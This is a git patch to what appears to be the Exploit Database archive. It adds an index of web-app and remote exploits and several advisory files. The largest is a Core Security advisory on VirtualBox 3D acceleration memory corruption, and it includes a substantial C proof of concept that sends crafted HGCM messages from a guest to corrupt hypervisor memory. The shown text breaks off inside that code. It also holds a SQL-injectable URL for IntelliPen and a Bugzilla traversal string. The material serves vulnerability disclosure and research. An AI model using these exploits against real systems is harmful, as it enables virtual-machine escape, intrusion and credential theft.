From f48b6c6517a9f20249aefd123af354ba292f9e9d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 14 Mar 2014 04:28:11 +0000 Subject: [PATCH] Updated 03_14_2014 --- files.csv | 27 + platforms/asp/webapps/32212.txt | 32 ++ platforms/linux/remote/32228.xml | 12 + platforms/multiple/dos/32208.txt | 843 +++++++++++++++++++++++++++++ platforms/multiple/dos/32222.rb | 26 + platforms/multiple/remote/32223.rb | 20 + platforms/multiple/remote/32224.rb | 33 ++ platforms/php/webapps/32207.txt | 65 +++ platforms/php/webapps/32213.txt | 46 ++ platforms/php/webapps/32215.txt | 9 + platforms/php/webapps/32216.txt | 10 + platforms/php/webapps/32217.txt | 10 + platforms/php/webapps/32218.txt | 9 + platforms/php/webapps/32219.txt | 9 + platforms/php/webapps/32220.txt | 9 + platforms/php/webapps/32221.txt | 9 + platforms/php/webapps/32226.txt | 7 + platforms/php/webapps/32227.txt | 9 + platforms/php/webapps/32230.txt | 14 + platforms/php/webapps/32231.txt | 9 + platforms/php/webapps/32232.txt | 9 + platforms/php/webapps/32233.txt | 9 + platforms/php/webapps/32234.txt | 9 + platforms/php/webapps/32235.txt | 9 + platforms/php/webapps/32236.txt | 9 + platforms/windows/dos/32229.txt | 15 + platforms/windows/remote/32209.rb | 170 ++++++ platforms/windows/remote/32210.rb | 104 ++++ 28 files changed, 1542 insertions(+) create mode 100755 platforms/asp/webapps/32212.txt create mode 100755 platforms/linux/remote/32228.xml create mode 100755 platforms/multiple/dos/32208.txt create mode 100755 platforms/multiple/dos/32222.rb create mode 100755 platforms/multiple/remote/32223.rb create mode 100755 platforms/multiple/remote/32224.rb create mode 100755 platforms/php/webapps/32207.txt create mode 100755 platforms/php/webapps/32213.txt create mode 100755 platforms/php/webapps/32215.txt create mode 100755 platforms/php/webapps/32216.txt create mode 100755 platforms/php/webapps/32217.txt create mode 100755 platforms/php/webapps/32218.txt create mode 100755 platforms/php/webapps/32219.txt create mode 100755 platforms/php/webapps/32220.txt create mode 100755 platforms/php/webapps/32221.txt create mode 100755 platforms/php/webapps/32226.txt create mode 100755 platforms/php/webapps/32227.txt create mode 100755 platforms/php/webapps/32230.txt create mode 100755 platforms/php/webapps/32231.txt create mode 100755 platforms/php/webapps/32232.txt create mode 100755 platforms/php/webapps/32233.txt create mode 100755 platforms/php/webapps/32234.txt create mode 100755 platforms/php/webapps/32235.txt create mode 100755 platforms/php/webapps/32236.txt create mode 100755 platforms/windows/dos/32229.txt create mode 100755 platforms/windows/remote/32209.rb create mode 100755 platforms/windows/remote/32210.rb diff --git a/files.csv b/files.csv index 0b1f0d615..bb9375817 100755 --- a/files.csv +++ b/files.csv @@ -28985,3 +28985,30 @@ id,file,description,date,author,platform,type,port 32203,platforms/php/webapps/32203.txt,"Yogurt Social Network 3.2 rc1 Module for XOOPS tribes.php uid Parameter XSS",2008-08-09,Lostmon,php,webapps,0 32204,platforms/hardware/webapps/32204.txt,"ZyXEL Router P-660HN-T1A - Login Bypass",2014-03-12,"Michael Grifalconi",hardware,webapps,0 32205,platforms/windows/local/32205.txt,"Huawei Technologies eSpace Meeting Service 1.0.0.23 - Local Privilege Escalation",2014-03-12,LiquidWorm,windows,local,0 +32207,platforms/php/webapps/32207.txt,"GNUPanel 0.3.5_R4 - Multiple Vulnerabilities",2014-03-12,"Necmettin COSKUN",php,webapps,80 +32208,platforms/multiple/dos/32208.txt,"Oracle VirtualBox 3D Acceleration - Multiple Vulnerabilities",2014-03-12,"Core Security",multiple,dos,0 +32209,platforms/windows/remote/32209.rb,"Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20171 +32210,platforms/windows/remote/32210.rb,"Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20111 +32212,platforms/asp/webapps/32212.txt,"Procentia IntelliPen 1.1.12.1520 (Data.aspx, value param) - Blind SQL Injection",2014-03-12,Portcullis,asp,webapps,80 +32213,platforms/php/webapps/32213.txt,"Vtiger CRM 5.4.0, 6.0 RC, 6.0.0 GA (browse.php, file param) - Local File Inclusion",2014-03-12,Portcullis,php,webapps,80 +32215,platforms/php/webapps/32215.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS search.php key Parameter XSS",2008-08-09,Lostmon,php,webapps,0 +32216,platforms/php/webapps/32216.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS down.php id Parameter XSS",2008-08-09,Lostmon,php,webapps,0 +32217,platforms/php/webapps/32217.txt,"Linkspider 1.08 Multiple Remote File Include Vulnerabilities",2008-08-08,"Rohit Bansal",php,webapps,0 +32218,platforms/php/webapps/32218.txt,"Domain Group Network GooCMS 1.02 'index.php' Cross-Site Scripting Vulnerability",2008-08-11,ahmadbaby,php,webapps,0 +32219,platforms/php/webapps/32219.txt,"Kayako SupportSuite 3.x visitor/index.php sessionid Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0 +32220,platforms/php/webapps/32220.txt,"Kayako SupportSuite 3.x index.php filter Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0 +32221,platforms/php/webapps/32221.txt,"Kayako SupportSuite 3.x staff/index.php customfieldlinkid Parameter SQL Injection",2008-08-11,"James Bercegay",php,webapps,0 +32222,platforms/multiple/dos/32222.rb,"Ruby <= 1.9 WEBrick::HTTP::DefaultFileHandler Crafted HTTP Request DoS",2008-08-11,"Keita Yamaguchi",multiple,dos,0 +32223,platforms/multiple/remote/32223.rb,"Ruby <= 1.9 dl Module DL.dlopen Arbitrary Library Access",2008-08-11,"Keita Yamaguchi",multiple,remote,0 +32224,platforms/multiple/remote/32224.rb,"Ruby <= 1.9 Safe Level Multiple Function Restriction Bypass",2008-08-11,"Keita Yamaguchi",multiple,remote,0 +32226,platforms/php/webapps/32226.txt,"Datafeed Studio 'patch.php' Remote File Include Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0 +32227,platforms/php/webapps/32227.txt,"Datafeed Studio 1.6.2 'search.php' Cross-Site Scripting Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0 +32228,platforms/linux/remote/32228.xml,"Bugzilla <= 3.1.4 '--attach_path' Directory Traversal Vulnerability",2008-08-12,"ilja van sprundel",linux,remote,0 +32229,platforms/windows/dos/32229.txt,"hMailServer 4.4.1 IMAP Command Remote Denial of Service Vulnerability",2008-08-12,Antunes,windows,dos,0 +32230,platforms/php/webapps/32230.txt,"IDevSpot PhpLinkExchange 1.01/1.02 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2008-08-12,sl4xUz,php,webapps,0 +32231,platforms/php/webapps/32231.txt,"Meet#Web 0.8 modules.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 +32232,platforms/php/webapps/32232.txt,"Meet#Web 0.8 ManagerResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 +32233,platforms/php/webapps/32233.txt,"Meet#Web 0.8 ManagerRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 +32234,platforms/php/webapps/32234.txt,"Meet#Web 0.8 RegForm.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 +32235,platforms/php/webapps/32235.txt,"Meet#Web 0.8 RegResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 +32236,platforms/php/webapps/32236.txt,"Meet#Web 0.8 RegRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0 diff --git a/platforms/asp/webapps/32212.txt b/platforms/asp/webapps/32212.txt new file mode 100755 index 000000000..dae4f250b --- /dev/null +++ b/platforms/asp/webapps/32212.txt @@ -0,0 +1,32 @@ +CVE: CVE-2014-2043 +Vendor: Procentia +Product: IntelliPen +Affected version: 1.1.12.1520 +Fixed version: 1.1.18.1658 +Reported by: Jerzy Kramarz +Details: + +SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database. + +The following URL and parameters have been confirmed to suffer from Blind SQL injection. + +http[s]:///Resources/System/Templates/Data.aspx?DocID=1&field=JobID&value=1&JobID=1&ParentDocID=1694&InTab=1&ParentKey=JobNumber&NoStore=1&Popup=1 + +This vulnerability exists because ‘value’ variable is not sanitised before it is used as part of an SQL query to retrived specific job information. +Impact: + +An attacker would be able to exfiltrate the database, user credentials and in certain setup access the underling operating system. +Exploit: + +Exploit code is not required. +Vendor status: +07/01/2014 Advisory created +16/01/2014 Vendor contacted +21/02/2014 CVE obtained +07/03/2014 Published +Copyright: + +Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. +Disclaimer: + +The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. diff --git a/platforms/linux/remote/32228.xml b/platforms/linux/remote/32228.xml new file mode 100755 index 000000000..cdc7c8800 --- /dev/null +++ b/platforms/linux/remote/32228.xml @@ -0,0 +1,12 @@ +source: http://www.securityfocus.com/bid/30661/info + +Bugzilla is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. + +Exploiting this issue will allow an attacker to view arbitrary local files within the context of the server. Information harvested may aid in launching further attacks. + +The following versions are affected: + +Bugzilla 2.22.1 through 2.22.4 +Bugzilla 2.23.3 and later + +../relative_path/to/local_file \ No newline at end of file diff --git a/platforms/multiple/dos/32208.txt b/platforms/multiple/dos/32208.txt new file mode 100755 index 000000000..0a1f6fd9c --- /dev/null +++ b/platforms/multiple/dos/32208.txt @@ -0,0 +1,843 @@ +Core Security - Corelabs Advisory +http://corelabs.coresecurity.com/ + +Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities + + + +1. *Advisory Information* + +Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption +Vulnerabilities +Advisory ID: CORE-2014-0002 +Advisory URL: +http://www.coresecurity.com/content/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities +Date published: 2014-03-11 +Date of last update: 2014-03-11 +Vendors contacted: Oracle +Release mode: User release + + + +2. *Vulnerability Information* + +Class: Improper Validation of Array Index [CWE-129], Improper Validation +of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] +Impact: Code execution +Remotely Exploitable: Yes +Locally Exploitable: No +CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983 + + + +3. *Vulnerability Description* + +VirtualBox is a general-purpose full virtualizer for x86 hardware, +targeted at server, desktop and embedded use. + +VirtualBox provides -among many other features- 3D Acceleration for +guest machines +through its Guest Additions. This feature allows guest machines to use +the host machine's +GPU to render 3D graphics based on then OpenGL or Direct3D APIs. + +Multiple memory corruption vulnerabilities have been found in the code +that implements +3D Acceleration for OpenGL graphics in Oracle VirtualBox. +These vulnerabilities could allow an attacker who is already running +code within +a Guest OS to escape from the virtual machine and execute arbitrary code +on the Host OS. + + +4. *Vulnerable packages* + + . Oracle VirtualBox v4.2.20 and earlier. + . Oracle VirtualBox v4.3.6 and earlier. + . Other versions may be affected too but they were no checked. + +5. *Non-vulnerable packages* + + . Oracle VirtualBox v4.3.8. + +6. *Credits* + +This vulnerability was discovered and researched by Francisco Falcon from +Core Exploit Writers Team. The publication of this advisory was coordinated +by Andres Blanco from Core Advisories Team. + + + +7. *Technical Description / Proof of Concept Code* + +VirtualBox makes use of the *Chromium*[1] open-source library +(not to be confused with the open-source web browser) in order to +provide 3D Acceleration for OpenGL graphics. + +Chromium provides remote rendering of OpenGL graphics through a +client/server model, in which +a client (i.e. an OpenGL application) delegates the rendering to the +server, which has access +to 3D-capable hardware. + +When 3D Acceleration is enabled in VirtualBox, OpenGL apps running +within a Guest OS +(acting as Chromium clients) will send rendering commands to the +Chromium server, which is +running in the context of the hypervisor in the Host OS. + +The code that handles OpenGL rendering commands on the Host side is +prone to multiple memory +corruption vulnerabilities, as described below. + + +7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability* + +[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in +Chromium. The Chromium server makes use +of "*network pointers*". As defined in Chromium's documentation, +'"Network pointers are +simply memory addresses that reside on another machine.[...] The +networking layer will then +take care of writing the payload data to the specified address."'[2] + +So the Chromium's server code, which runs in the context of the +VirtualBox hypervisor +in the Host OS, provides a write-what-where memory corruption primitive +*by design*, which +can be exploited to corrupt arbitrary memory addresses with arbitrary +data in the hypervisor process +from within a virtual machine. + +This is the code of the vulnerable function [file +'src/VBox/GuestHost/OpenGL/util/net.c'], which can +be reached by sending a 'CR_MESSAGE_READBACK' message to the +'VBoxSharedCrOpenGL' service: + + +/----- +/** + * Called by the main receive function when we get a CR_MESSAGE_READBACK + * message. Used to implement glGet*() functions. + */ +static void +crNetRecvReadback( CRMessageReadback *rb, unsigned int len ) +{ + /* minus the header, the destination pointer, + * *and* the implicit writeback pointer at the head. */ + + int payload_len = len - sizeof( *rb ); + int *writeback; + void *dest_ptr; + crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) ); + crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) ); + + (*writeback)--; + crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len ); +} + + +-----/ + +Note that 'rb' points to a 'CRMessageReadback' structure, which is fully +controlled by the +application running inside a VM that is sending OpenGL rendering +commands to the Host side. +The 'len' parameter is also fully controlled from the Guest side, so +it's possible to: + + 1. decrement the value stored at any memory address within the +address space of the hypervisor. + 2. write any data to any memory address within the address space of +the hypervisor. + +7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability* + +[CVE-2014-0982] The second vulnerability is closely related to the first +one, and it's also caused by Chromium's +"*network pointers*". + +This is the code of the vulnerable function [file +'src/VBox/GuestHost/OpenGL/util/net.c'], which can +be reached by sending a 'CR_MESSAGE_WRITEBACK' message to the +'VBoxSharedCrOpenGL' service: + + +/----- +/** + * Called by the main receive function when we get a CR_MESSAGE_WRITEBACK + * message. Writeback is used to implement glGet*() functions. + */ +static void +crNetRecvWriteback( CRMessageWriteback *wb ) +{ + int *writeback; + crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) ); + (*writeback)--; +} + +-----/ + +Note that 'rb' points to a 'CRMessageWriteback' structure, which is +fully controlled by the +application running inside a VM that is sending OpenGL rendering +commands to the Host side, so it's possible to +decrement the value stored at any memory address within the address +space of the hypervisor. + + +7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption +Vulnerability* + +[CVE-2014-0983] When an OpenGL application running inside a VM sends +rendering commands (in the form of opcodes + data for those opcodes) +through +a 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in +the 'crUnpack' function. +The code for the 'crUnpack' function is automatically generated by the +Python script located +at 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'. + +This function is basically a big switch statement dispatching different +functions according to the opcode being processed: + + +/----- +void crUnpack( const void *data, const void *opcodes, + unsigned int num_opcodes, SPUDispatchTable *table ) +{ + [...] + unpack_opcodes = (const unsigned char *)opcodes; + cr_unpackData = (const unsigned char *)data; + + for (i = 0 ; i < num_opcodes ; i++) + { + /*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/ + switch( *unpack_opcodes ) + { + case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break; + case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break; + case CR_BEGIN_OPCODE: crUnpackBegin(); break; + [...] + +-----/ + +When the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE' +('0xEA'), +the function to be invoked is 'crUnpackVertexAttrib4NubARB': + + +/----- + [...] + case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB(); +break; + [...] + +-----/ + +The 'crUnpackVertexAttrib4NubARB' function reads 5 values from the +opcode data sent by the Chromium client, +and just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5 +values as arguments: + + +/----- +static void crUnpackVertexAttrib4NubARB(void) +{ + GLuint index = READ_DATA( 0, GLuint ); + GLubyte x = READ_DATA( 4, GLubyte ); + GLubyte y = READ_DATA( 5, GLubyte ); + GLubyte z = READ_DATA( 6, GLubyte ); + GLubyte w = READ_DATA( 7, GLubyte ); + cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w ); + INCR_DATA_PTR( 8 ); +} + +-----/ + +'VertexAttrib4NubARB' is a function pointer in a dispatch table, and +points to the function +'crServerDispatchVertexAttrib4NubARB', whose code is generated by the +Python script located at +'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py': + + +/----- +void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB( +GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w ) +{ + cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y, +z, w ); + cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData; +} + +-----/ + +Note that the 'index' parameter, which is a 4-byte integer coming from +an untrusted source (the opcode data +sent by the Chromium client from the VM), is used as an index within the +'cr_server.current.c.vertexAttrib.ub4' +array in order to write 'cr_unpackData' (which is a pointer to the +attacker-controlled opcode data), without +validating that the index is within the bounds of the array. +This issue can be leveraged to corrupt arbitrary memory with a pointer +to attacker-controlled data. + +Also note that *the same vulnerability affects several functions* whose +code is generated by the +'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py' +Python script: + + +/----- +Opcode CR_VERTEXATTRIB1DARB_OPCODE [0xDE] -> function +crServerDispatchVertexAttrib1dARB +Opcode CR_VERTEXATTRIB1FARB_OPCODE [0xDF] -> function +crServerDispatchVertexAttrib1fARB +Opcode CR_VERTEXATTRIB1SARB_OPCODE [0xE0] -> function +crServerDispatchVertexAttrib1sARB +Opcode CR_VERTEXATTRIB2DARB_OPCODE [0xE1] -> function +crServerDispatchVertexAttrib2dARB +Opcode CR_VERTEXATTRIB2FARB_OPCODE [0xE2] -> function +crServerDispatchVertexAttrib2fARB +Opcode CR_VERTEXATTRIB2SARB_OPCODE [0xE3] -> function +crServerDispatchVertexAttrib2sARB +Opcode CR_VERTEXATTRIB3DARB_OPCODE [0xE4] -> function +crServerDispatchVertexAttrib3dARB +Opcode CR_VERTEXATTRIB3FARB_OPCODE [0xE5] -> function +crServerDispatchVertexAttrib3fARB +Opcode CR_VERTEXATTRIB3SARB_OPCODE [0xE6] -> function +crServerDispatchVertexAttrib3sARB +Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA] -> function +crServerDispatchVertexAttrib4NubARB +Opcode CR_VERTEXATTRIB4DARB_OPCODE [0xEF] -> function +crServerDispatchVertexAttrib4dARB +Opcode CR_VERTEXATTRIB4FARB_OPCODE [0xF0] -> function +crServerDispatchVertexAttrib4fARB +Opcode CR_VERTEXATTRIB4SARB_OPCODE [0xF2] -> function +crServerDispatchVertexAttrib4sARB + +-----/ + + +7.4. *Proof of Concept* + + +/----- +#include "stdafx.h" +#include +#include "vboxguest2.h" +#include "vboxguest.h" +#include "err.h" +#include "vboxcropenglsvc.h" +#include "cr_protocol.h" + +#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest" + + +HANDLE open_device(){ + HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + if (hDevice == INVALID_HANDLE_VALUE){ + printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME); + exit(EXIT_FAILURE); + } + printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice); + return hDevice; + + +} + + +uint32_t do_connect(HANDLE hDevice){ + VBoxGuestHGCMConnectInfo info; + DWORD cbReturned = 0; + BOOL rc; + + memset(&info, 0, sizeof(info)); + info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing; + strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL"); + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info, +sizeof(info), &info, sizeof(info), &cbReturned, NULL); + if (!rc){ + printf("ERROR: DeviceIoControl failed in function do_connect()! +LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (info.result == VINF_SUCCESS){ + printf("HGCM connect was successful: client id =0x%x\n", +info.u32ClientID); + } + else{ + //If 3D Acceleration is disabled, info.result value will be -2900. + printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration +enabled??)\n", info.result); + exit(EXIT_FAILURE); + } + return info.u32ClientID; +} + + +void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){ + BOOL rc; + VBoxGuestHGCMDisconnectInfo info; + DWORD cbReturned = 0; + + memset(&info, 0, sizeof(info)); + info.u32ClientID = u32ClientID; + printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n"); + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT, +&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL); + if (!rc){ + printf("ERROR: DeviceIoControl failed in function +do_disconnect()! LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (info.result == VINF_SUCCESS){ + printf("HGCM disconnect was successful.\n"); + } + else{ + printf("[-] HGCM disconnect failed. Result: %d\n", info.result); + exit(EXIT_FAILURE); + } + +} + + +void set_version(HANDLE hDevice, uint32_t u32ClientID){ + CRVBOXHGCMSETVERSION parms; + DWORD cbReturned = 0; + BOOL rc; + + memset(&parms, 0, sizeof(parms)); + parms.hdr.result = VERR_WRONG_ORDER; + parms.hdr.u32ClientID = u32ClientID; + parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION; + parms.hdr.cParms = SHCRGL_CPARMS_SET_VERSION; + + parms.vMajor.type = VMMDevHGCMParmType_32bit; + parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR; + parms.vMinor.type = VMMDevHGCMParmType_32bit; + parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR; + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, +sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL); + + if (!rc){ + printf("ERROR: DeviceIoControl failed in function set_version()! +LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (parms.hdr.result == VINF_SUCCESS){ + printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); + } + else{ + printf("Host didn't accept our version.\n"); + exit(EXIT_FAILURE); + } +} + + +void set_pid(HANDLE hDevice, uint32_t u32ClientID){ + CRVBOXHGCMSETPID parms; + DWORD cbReturned = 0; + BOOL rc; + + memset(&parms, 0, sizeof(parms)); + parms.hdr.result = VERR_WRONG_ORDER; + parms.hdr.u32ClientID = u32ClientID; + parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID; + parms.hdr.cParms = SHCRGL_CPARMS_SET_PID; + + parms.u64PID.type = VMMDevHGCMParmType_64bit; + parms.u64PID.u.value64 = GetCurrentProcessId(); + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, +sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL); + + if (!rc){ + printf("ERROR: DeviceIoControl failed in function set_pid()! +LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (parms.hdr.result == VINF_SUCCESS){ + printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); + } + else{ + printf("Host didn't like our PID %d\n", GetCurrentProcessId()); + exit(EXIT_FAILURE); + } + +} + + +/* Triggers the vulnerability in the crNetRecvReadback function. */ +void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){ + CRVBOXHGCMINJECT parms; + DWORD cbReturned = 0; + BOOL rc; + char mybuf[1024]; + CRMessageReadback msg; + + memset(&msg, 0, sizeof(msg)); + msg.header.type = CR_MESSAGE_READBACK; + msg.header.conn_id = 0x8899; + + + //This address will be decremented by 1 + *((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888; + //Destination address for the memcpy + *((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999; + + memcpy(&mybuf, &msg, sizeof(msg)); + strcpy(mybuf + sizeof(msg), "Hi hypervisor!"); + + memset(&parms, 0, sizeof(parms)); + parms.hdr.result = VERR_WRONG_ORDER; + parms.hdr.u32ClientID = u32ClientID; + parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; + parms.hdr.cParms = SHCRGL_CPARMS_INJECT; + + parms.u32ClientID.type = VMMDevHGCMParmType_32bit; + parms.u32ClientID.u.value32 = u32ClientID; + + parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; + parms.pBuffer.u.Pointer.size = sizeof(mybuf); //size for the +memcpy: sizeof(mybuf) - 0x18 + parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf; + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, +sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL); + + if (!rc){ + printf("ERROR: DeviceIoControl failed in function +trigger_message_readback()!. LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (parms.hdr.result == VINF_SUCCESS){ + printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); + } + else{ + printf("HGCM Call failed. Result: %d\n", parms.hdr.result); + exit(EXIT_FAILURE); + } +} + + +/* Triggers the vulnerability in the crNetRecvWriteback function. */ +void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){ + CRVBOXHGCMINJECT parms; + DWORD cbReturned = 0; + BOOL rc; + char mybuf[512]; + CRMessage msg; + + memset(&mybuf, 0, sizeof(mybuf)); + + memset(&msg, 0, sizeof(msg)); + msg.writeback.header.type = CR_MESSAGE_WRITEBACK; + msg.writeback.header.conn_id = 0x8899; + //This address will be decremented by 1 + *((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD; + + memcpy(&mybuf, &msg, sizeof(msg)); + strcpy(mybuf + sizeof(msg), "dummy"); + + memset(&parms, 0, sizeof(parms)); + parms.hdr.result = VERR_WRONG_ORDER; + parms.hdr.u32ClientID = u32ClientID; + parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; + parms.hdr.cParms = SHCRGL_CPARMS_INJECT; + + parms.u32ClientID.type = VMMDevHGCMParmType_32bit; + parms.u32ClientID.u.value32 = u32ClientID; + + parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; + parms.pBuffer.u.Pointer.size = sizeof(mybuf); + parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf; + + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, +sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL); + + if (!rc){ + printf("ERROR: DeviceIoControl failed in function +trigger_message_writeback()! LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (parms.hdr.result == VINF_SUCCESS){ + printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); + } + else{ + printf("HGCM Call failed. Result: %d\n", parms.hdr.result); + exit(EXIT_FAILURE); + } + +} + + +/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB +function. */ +void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){ + CRVBOXHGCMINJECT parms; + char mybuf[0x10f0]; + DWORD cbReturned = 0; + BOOL rc; + + unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7}; + DWORD opcode_data[] = + {0x08, //Advance 8 bytes +after executing opcode 0xF7, subopcode 0x30 + 0x30, //Subopcode for opcode 0xF7 + 0x331, //Argument for opcode 0x02 + 0xFFFCFA4B, //This is the +negative index used to trigger the memory corruption + 0x41414141}; //Junk + + CRMessageOpcodes msg_opcodes; + + memset(&mybuf, 0, sizeof(mybuf)); + + memset(&msg_opcodes, 0, sizeof(msg_opcodes)); + msg_opcodes.header.conn_id = 0x8899; + msg_opcodes.header.type = CR_MESSAGE_OPCODES; + msg_opcodes.numOpcodes = sizeof(opcodes); + + char *offset = (char *)&mybuf; + memcpy(offset, &msg_opcodes, sizeof(msg_opcodes)); + offset += sizeof(msg_opcodes); + + /*----- Opcodes -----*/ + memcpy(offset, &opcodes, sizeof(opcodes)); + offset += sizeof(opcodes); + + /*----- data for the opcodes -----*/ + memcpy(offset, &opcode_data, sizeof(opcode_data)); + offset += sizeof(opcode_data); + + + memset(&parms, 0, sizeof(parms)); + parms.hdr.result = 0; + parms.hdr.u32ClientID = u32ClientID; + parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; + parms.hdr.cParms = SHCRGL_CPARMS_INJECT; + + parms.u32ClientID.type = VMMDevHGCMParmType_32bit; + parms.u32ClientID.u.value32 = u32ClientID; + + parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; + parms.pBuffer.u.Pointer.size = sizeof(mybuf); + parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf; + + rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, +sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL); + + if (!rc){ + printf("ERROR: DeviceIoControl failed in function +trigger_opcode_0xea()! LastError: %d\n", GetLastError()); + exit(EXIT_FAILURE); + } + + if (parms.hdr.result == VINF_SUCCESS){ + printf("HGCM Call 